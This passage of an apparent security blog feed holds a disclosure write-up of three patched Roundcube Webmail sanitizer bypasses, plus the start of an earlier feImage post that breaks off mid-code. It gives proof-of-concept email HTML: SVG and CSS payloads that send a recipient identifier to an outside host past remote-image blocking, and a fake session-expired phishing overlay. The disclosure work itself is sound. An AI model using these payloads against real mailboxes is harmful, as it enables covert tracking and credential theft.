unchanged, but the injection vector is cut off at the URI validation layer.\u003c/p\u003e\n\u003ch3 id=\"css-position\"\u003eCSS position\u003ca href=\"#css-position\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h3\u003e\n\u003cp\u003eThe fix (\u003ca href=\"https://github.com/roundcube/roundcubemail/commit/226811a\"\u003e\u003ccode\u003e226811a\u003c/code\u003e\u003c/a\u003e) changes the \u003ccode\u003eposition: fixed\u003c/code\u003e check from exact match to substring match:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/226811a1c974271dbedca72672923abaff8191c0/program/lib/Roundcube/rcube_utils.php#L555\"\u003ercube_utils.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelseif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$property\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;position\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nx\"\u003estripos\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$value\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;fixed\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e!==\u003c/span\u003e \u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$value\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;absolute\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003ccode\u003estripos\u003c/code\u003e catches \u003ccode\u003e\u0026quot;fixed !important\u0026quot;\u003c/code\u003e because \u003ccode\u003e\u0026quot;fixed\u0026quot;\u003c/code\u003e is a substring. The value gets replaced with \u003ccode\u003e\u0026quot;absolute\u0026quot;\u003c/code\u003e before it reaches token validation.\u003c/p\u003e\n\u003cp\u003eUpdate to 1.5.14, 1.6.14, or 1.7-rc5.\u003c/p\u003e\n\u003ch2 id=\"timeline\"\u003eTimeline\u003ca href=\"#timeline\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eDate\u003c/th\u003e\n          \u003cth\u003eEvent\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-03-07\u003c/td\u003e\n          \u003ctd\u003eReported to Roundcube\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-03-09\u003c/td\u003e\n          \u003ctd\u003eTriaged\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-03-18\u003c/td\u003e\n          \u003ctd\u003e1.5.14, 1.6.14, and 1.7-rc5 released\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-03-18\u003c/td\u003e\n          \u003ctd\u003eThis post\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cdiv class=\"footnotes\" role=\"doc-endnotes\"\u003e\n\u003chr\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003eMost of the bugs on this blog started with \u0026ldquo;I was bored.\u0026rdquo; Bored hackers are a threat model.\u0026#160;\u003ca href=\"#fnref:1\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:2\"\u003e\n\u003cp\u003e\u003ca href=\"https://global.ptsecurity.com/en/research/pt-esc-threat-intelligence/fake-attachment-roundcube-mail-server-attacks-exploit-cve-2024-37383-vulnerability/\"\u003eExploited in the wild\u003c/a\u003e against a CIS government organization in June 2024. On \u003ca href=\"https://www.cisa.gov/known-exploited-vulnerabilities-catalog\"\u003eCISA\u0026rsquo;s KEV catalog\u003c/a\u003e. Roundcube XSS bugs keep ending up in targeted campaigns. \u003ca href=\"https://www.welivesecurity.com/en/eset-research/winter-vivern-exploits-zero-day-vulnerability-roundcube-webmail-servers/\"\u003eWinter Vivern\u003c/a\u003e used a different one as a zero-day against European government entities in 2023.\u0026#160;\u003ca href=\"#fnref:2\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:3\"\u003e\n\u003cp\u003eTested on Firefox. Chrome deprecated SMIL in some contexts, but Firefox still evaluates it fully. The \u003ccode\u003emask\u003c/code\u003e property with \u003ccode\u003eurl()\u003c/code\u003e values triggers a resource load during SVG rendering.\u0026#160;\u003ca href=\"#fnref:3\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:4\"\u003e\n\u003cp\u003e\u003ca href=\"https://html.spec.whatwg.org/multipage/obsolete.html\"\u003eDeprecated since HTML 4.01\u003c/a\u003e, listed as a non-conforming feature in the WHATWG Living Standard. Every browser still renders it, and email HTML is stuck in the 90s, so sanitizers have to handle it.\u0026#160;\u003ca href=\"#fnref:4\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:5\"\u003e\n\u003cp\u003eTwo extra words. That\u0026rsquo;s all it took.\u0026#160;\u003ca href=\"#fnref:5\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\n","content_text":"TL;DR: Three more bypasses in Roundcube’s HTML sanitizer. SMIL animation values and by attributes pass through without URI validation. The body background attribute gets dropped into url() unquoted, which allows CSS injection. And position: fixed !important bypasses the fixed-position mitigation for full-viewport phishing overlays. Fixed in 1.5.14, 1.6.14, and 1.7-rc5.\nVulnerability information# Field Value Vendor Roundcube Product Roundcube Webmail Affected versions \u003c 1.5.14, 1.6.x \u003c 1.6.14, 1.7-rc1 through 1.7-rc4 CVE Pending Disclosure date 2026-03-18 Going back# After the feImage bypass was patched, the sanitizer still felt fairly fragile. Same patterns everywhere: hand-maintained allowlists, attribute routing that assumed it caught everything. I was bored and didn’t feel like doing anything else, so I went poking at it again.1\nThree more things came out of it.\nSMIL animations: values and by# The feImage bug was about an element whose href went through the wrong code path. This one is about attributes that skip the code path entirely.\nSMIL animation elements (\u003canimate\u003e, \u003cset\u003e, \u003canimateTransform\u003e) can target any attribute on their parent element. The to and from attributes set start and end values, but SMIL also has values (semicolon-separated keyframes) and by (relative offset). They all do the same thing: set the value of the target attribute.\nwash_attribs() handles to and from correctly by resolving attributeName and routing the value through the appropriate URI check:\nrcube_washtml.php\n// in SVG to/from attribs may contain anything, including URIs if ($key == 'to' || $key == 'from') { $key = strtolower((string) $node-\u003egetAttribute('attributeName')); $key = trim(preg_replace('/^.*:/', '', $key)); if ($key \u0026\u0026 !isset($this-\u003e_html_attribs[$key])) { $key = null; } } This swaps the attribute name for the resolved attributeName, so to=\"https://httpbin.org\" on \u003canimate attributeName=\"href\"\u003e gets validated as if it were an href value. The right idea.\nBut values and by aren’t in that if check. They’re both in the $html_attribs allowlist, so they pass the initial gate and fall through to the generic pass-through:\nrcube_washtml.php\n} elseif ($key) { $out = $value; } No URI validation. The value goes into the output unchanged.\nThere’s a second layer to this. After CVE-2024-373832, the sanitizer blocks SMIL animations targeting attributeName=\"href\":\nrcube_washtml.php\n} elseif (in_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform']) \u0026\u0026 self::attribute_value($node, 'attributename', 'href') ) { Only href. But CSS properties like mask and cursor also load external resources when their values contain URLs. An \u003canimate attributeName=\"mask\" values=\"url(//httpbin.org/track)\"\u003e passes through because the element-level block doesn’t fire.\nCombined: the values attribute bypasses attribute-level validation, and targeting mask instead of href bypasses element-level blocking. Both checks miss.\nProof of concept# Zero-click open tracking. An invisible SVG off-screen:\n\u003csvg width=\"1\" height=\"1\" style=\"position:absolute;left:-9999px\"\u003e \u003crect width=\"1\" height=\"1\" fill=\"white\"\u003e \u003canimate attributeName=\"mask\" values=\"url(//httpbin.org/track?uid=victim@test.com)\" fill=\"freeze\" dur=\"0.001s\" /\u003e \u003c/rect\u003e \u003c/svg\u003e Open the email in Roundcube with “Block remote images” enabled. The browser fires a GET to the attacker’s URL.3\nSMIL’s keyTimes attribute enables timed beacons, measuring how long a recipient views the email:\n\u003csvg width=\"1\" height=\"1\" style=\"position:absolute;left:-9999px\"\u003e \u003crect width=\"1\" height=\"1\"\u003e \u003canimate attributeName=\"mask\" values=\"none;url(//httpbin.org/ping?t=1);url(//httpbin.org/ping?t=2)\" dur=\"5s\" repeatCount=\"indefinite\" /\u003e \u003c/rect\u003e \u003c/svg\u003e Body backgrounds: unquoted url()# This one is in the application layer, not the sanitizer library.\nWhen Roundcube renders an email, washtml_callback() processes the \u003cbody\u003e element’s attributes and converts them to inline CSS on the output container \u003cdiv\u003e. The background attribute4 becomes background-image:\nindex.php\ncase 'background': if (preg_match('/^([^\\s]+)$/', $value, $m)) { $style['background-image'] = \"url({$value})\"; } break; The value runs through wash_uri() before this point, which allows data:image/* URIs. Then it gets interpolated into url() without quotes.\nA ) inside the data URI terminates the url() function early, and everything after it is parsed as additional CSS properties on the container \u003cdiv\u003e. Because the injected CSS is inline style (not inside a \u003cstyle\u003e block), it bypasses mod_css_styles() and its URL callback entirely.\nProof of concept# \u003cbody background=\"data:image/png,x);background:url(//httpbin.org/track?uid=victim@test.com\"\u003e The sanitizer produces this inline style on the container:\nbackground-image: url(data:image/png,x);background:url(//httpbin.org/track?uid=victim@test.com) The ) in data:image/png,x) closes the original url(). The injected background:url(//...) loads the external resource.\nCSS position: fixed !important# Roundcube converts position: fixed to position: absolute in sanitize_css_block() to prevent elements from breaking out of the message container:\nrcube_utils.php\n} elseif ($property == 'position' \u0026\u0026 strcasecmp($value, 'fixed') === 0) { $value = 'absolute'; } strcasecmp compares the entire trimmed value against \"fixed\". Append !important and it’s no longer an exact match.5 The check fails, and \"fixed !important\" flows through the generic token validation, where explode_css_property_block() splits it into ['fixed', '!important']. Both tokens pass the allowlist individually, and the output reassembles as position: fixed !important.\nProof of concept# \u003cstyle\u003e .overlay { position: fixed !important; top: 0; left: 0; width: 100%; height: 100%; background: white; z-index: 99999; display: flex; align-items: center; justify-content: center; } \u003c/style\u003e \u003cdiv class=\"overlay\"\u003e \u003cdiv style=\"border:1px solid #ccc;border-radius:8px;padding:30px; max-width:400px;text-align:center;font-family:Arial,sans-serif\"\u003e \u003ch2\u003eSession Expired\u003c/h2\u003e \u003cp\u003eYour Roundcube session has expired due to inactivity.\u003c/p\u003e \u003ca href=\"https://httpbin.org/phish/login\" style=\"background:#0066cc;color:white;padding:10px 20px; text-decoration:none;border-radius:4px\"\u003eSign In Again\u003c/a\u003e \u003c/div\u003e \u003c/div\u003e The overlay covers the preview pane iframe. When the message is opened in a new window (no iframe), it covers the full browser viewport with no visible Roundcube chrome. A “session expired” dialog pointing to an attacker-controlled login page.\nImpact# The SMIL and body background bypasses defeat “Block remote images” to enable email tracking: open confirmation, IP logging, browser fingerprinting. The SMIL variant can also measure read time through timed beacon sequences.\nThe position: fixed bypass is a phishing vector. A full-viewport overlay can impersonate Roundcube’s own login prompt.\nRemediation# All three issues are fixed in 1.5.14, 1.6.14, and 1.7-rc5. See the Roundcube advisory.\nSMIL animations# The fix (82ab5ec) replaces the inline element-level check with a new is_insecure_tag() method that blocks SMIL animation elements targeting href, or mask/cursor when the values attribute contains url():\nrcube_washtml.php\nprivate static function is_insecure_tag($node) { $tagName = strtolower($node-\u003enodeName); if (!in_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform'])) { return false; } if (self::attribute_value($node, 'attributeName', '/^href$/i')) { return true; } return self::attribute_value($node, 'attributeName', '/^(mask|cursor)$/i') \u0026\u0026 self::attribute_value($node, 'values', '/url\\(/i'); } The fix blocks the entire element when it detects a dangerous combination rather than adding values and by to the attribute-level validation. The attribute_value() helper was also changed from exact string matching to regex matching to support this.\nBody backgrounds# The fix (fd0e981) adds validation in wash_uri() that rejects data URIs unless they’re properly base64-encoded:\nrcube_washtml.php\n// At this point we allow only valid base64 images if (stripos($type, 'base64') === false || preg_match('|[^0-9a-z\\s/+]|i', $matches[2])) { return ''; } The crafted data:image/png,x) payload fails the first check: the type is png, not png;base64, so stripos returns false and the URI is rejected. The second check guards base64-encoded payloads against smuggled characters like ). The unquoted url() interpolation in washtml_callback() is unchanged, but the injection vector is cut off at the URI validation layer.\nCSS position# The fix (226811a) changes the position: fixed check from exact match to substring match:\nrcube_utils.php\n} elseif ($property == 'position' \u0026\u0026 stripos($value, 'fixed') !== false) { $value = 'absolute'; } stripos catches \"fixed !important\" because \"fixed\" is a substring. The value gets replaced with \"absolute\" before it reaches token validation.\nUpdate to 1.5.14, 1.6.14, or 1.7-rc5.\nTimeline# Date Event 2026-03-07 Reported to Roundcube 2026-03-09 Triaged 2026-03-18 1.5.14, 1.6.14, and 1.7-rc5 released 2026-03-18 This post Most of the bugs on this blog started with “I was bored.” Bored hackers are a threat model. ↩︎\nExploited in the wild against a CIS government organization in June 2024. On CISA’s KEV catalog. Roundcube XSS bugs keep ending up in targeted campaigns. Winter Vivern used a different one as a zero-day against European government entities in 2023. ↩︎\nTested on Firefox. Chrome deprecated SMIL in some contexts, but Firefox still evaluates it fully. The mask property with url() values triggers a resource load during SVG rendering. ↩︎\nDeprecated since HTML 4.01, listed as a non-conforming feature in the WHATWG Living Standard. Every browser still renders it, and email HTML is stuck in the 90s, so sanitizers have to handle it. ↩︎\nTwo extra words. That’s all it took. ↩︎\n","date_published":"2026-03-18T00:00:00Z","date_modified":"2026-03-18T00:00:00Z","tags":["vulnerability","roundcube","svg","css","email-security"]},{"id":"https://nullcathedral.com/posts/2026-02-08-roundcube-svg-feimage-remote-image-bypass/","url":"https://nullcathedral.com/posts/2026-02-08-roundcube-svg-feimage-remote-image-bypass/","title":"Roundcube Webmail \u003c1.5.13 / \u003c1.6.13 allows attackers to force remote image loads via SVG feImage","summary":"Roundcube's HTML sanitizer doesn't treat SVG feImage href as an image source. Attackers can bypass remote image blocking to track email opens. (CVE-2026-25916)","content_html":"\u003cp\u003e\u003cstrong\u003eTL;DR:\u003c/strong\u003e Roundcube\u0026rsquo;s \u003ccode\u003ercube_washtml\u003c/code\u003e sanitizer blocked external resources on \u003ccode\u003e\u0026lt;img\u0026gt;\u003c/code\u003e, \u003ccode\u003e\u0026lt;image\u0026gt;\u003c/code\u003e, and \u003ccode\u003e\u0026lt;use\u0026gt;\u003c/code\u003e, but not on \u003ccode\u003e\u0026lt;feImage\u0026gt;\u003c/code\u003e. Its \u003ccode\u003ehref\u003c/code\u003e went through the wrong code path and got allowed through. Attackers could track email opens even when \u0026ldquo;Block remote images\u0026rdquo; was on. Fixed in 1.5.13 and 1.6.13.\u003c/p\u003e\n\u003ch2 id=\"vulnerability-information\"\u003eVulnerability information\u003ca href=\"#vulnerability-information\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eField\u003c/th\u003e\n          \u003cth\u003eValue\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eVendor\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eRoundcube\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eProduct\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eRoundcube Webmail\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eAffected versions\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u0026lt; 1.5.13, 1.6.x \u0026lt; 1.6.13\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eCVE\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eCVE-2026-25916\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eCVSS 3.1\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ca href=\"https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N\"\u003e4.3 / Medium\u003c/a\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eCVSS 4.0\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ca href=\"https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N\"\u003e5.3 / Medium\u003c/a\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eDisclosure date\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e2026-02-08\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch2 id=\"background\"\u003eBackground\u003ca href=\"#background\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eWhen \u003ccode\u003eallow_remote\u003c/code\u003e is false, Roundcube\u0026rsquo;s sanitizer intercepts image-bearing attributes (\u003ccode\u003esrc\u003c/code\u003e on \u003ccode\u003e\u0026lt;img\u0026gt;\u003c/code\u003e, \u003ccode\u003ehref\u003c/code\u003e on \u003ccode\u003e\u0026lt;image\u0026gt;\u003c/code\u003e and \u003ccode\u003e\u0026lt;use\u0026gt;\u003c/code\u003e) and runs them through \u003ccode\u003eis_image_attribute()\u003c/code\u003e. That function blocks external URLs.\u003c/p\u003e\n\u003cp\u003eSeparately, non-image URLs (like \u003ccode\u003e\u0026lt;a href\u0026gt;\u003c/code\u003e) go through \u003ccode\u003ewash_link()\u003c/code\u003e, which lets HTTP/HTTPS URLs through. That\u0026rsquo;s fine for links the user clicks on intentionally.\u003c/p\u003e\n\u003ch2 id=\"discovery\"\u003eDiscovery\u003ca href=\"#discovery\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eI got bored during my christmas vacation and \u003ca href=\"https://roundcube.net/news/2025/12/13/security-updates-1.6.12-and-1.5.12\"\u003ethis SVG-based XSS fix via the \u003ccode\u003eanimate\u003c/code\u003e tag\u003c/a\u003e appeared on my radar. One SVG bug usually means more.\u003csup id=\"fnref:1\"\u003e\u003ca href=\"#fn:1\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e1\u003c/a\u003e\u003c/sup\u003e So I spent some time going through \u003ccode\u003ercube_washtml.php\u003c/code\u003e, looking at which SVG elements made it onto the allowlist and how their attributes get handled and sanitized.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e\u0026lt;feImage\u0026gt;\u003c/code\u003e stood out.\u003csup id=\"fnref:2\"\u003e\u003ca href=\"#fn:2\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e2\u003c/a\u003e\u003c/sup\u003e Its \u003ccode\u003ehref\u003c/code\u003e gets fetched on render, same as \u003ccode\u003e\u0026lt;img src\u0026gt;\u003c/code\u003e. But the sanitizer sends it through \u003ccode\u003ewash_link()\u003c/code\u003e instead of \u003ccode\u003eis_image_attribute()\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eSo the \u0026ldquo;Block remote images\u0026rdquo; setting doesn\u0026rsquo;t apply to it.\u003c/p\u003e\n\u003ch2 id=\"technical-details\"\u003eTechnical details\u003ca href=\"#technical-details\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eIn \u003ccode\u003ewash_attribs()\u003c/code\u003e, every attribute hits a chain of checks. The first one that matches wins:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/4c378113ce1682022c53e8f75ac754a83fe5b43b/program/lib/Roundcube/rcube_washtml.php#L310-L313\"\u003ercube_washtml.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003eis_image_attribute\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$node\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003enodeName\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$key\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$out\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003ewash_uri\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$value\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e  \u003cspan class=\"c1\"\u003e// blocks remote URLs\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelseif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003eis_link_attribute\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$node\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003enodeName\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$key\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$out\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003ewash_link\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$value\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e        \u003cspan class=\"c1\"\u003e// allows http/https\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eBefore the fix, \u003ccode\u003eis_image_attribute()\u003c/code\u003e looked like this:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/4c378113ce1682022c53e8f75ac754a83fe5b43b/program/lib/Roundcube/rcube_washtml.php#L472-L481\"\u003ercube_washtml.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e \u003cspan class=\"k\"\u003efunction\u003c/span\u003e \u003cspan class=\"nf\"\u003eis_image_attribute\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$tag\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;background\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;color-profile\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;poster\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nv\"\u003e$tag\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;video\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;src\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nx\"\u003epreg_match\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;/^(img|image|source|input|video|audio)$/i\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$tag\u003c/span\u003e\u003cspan 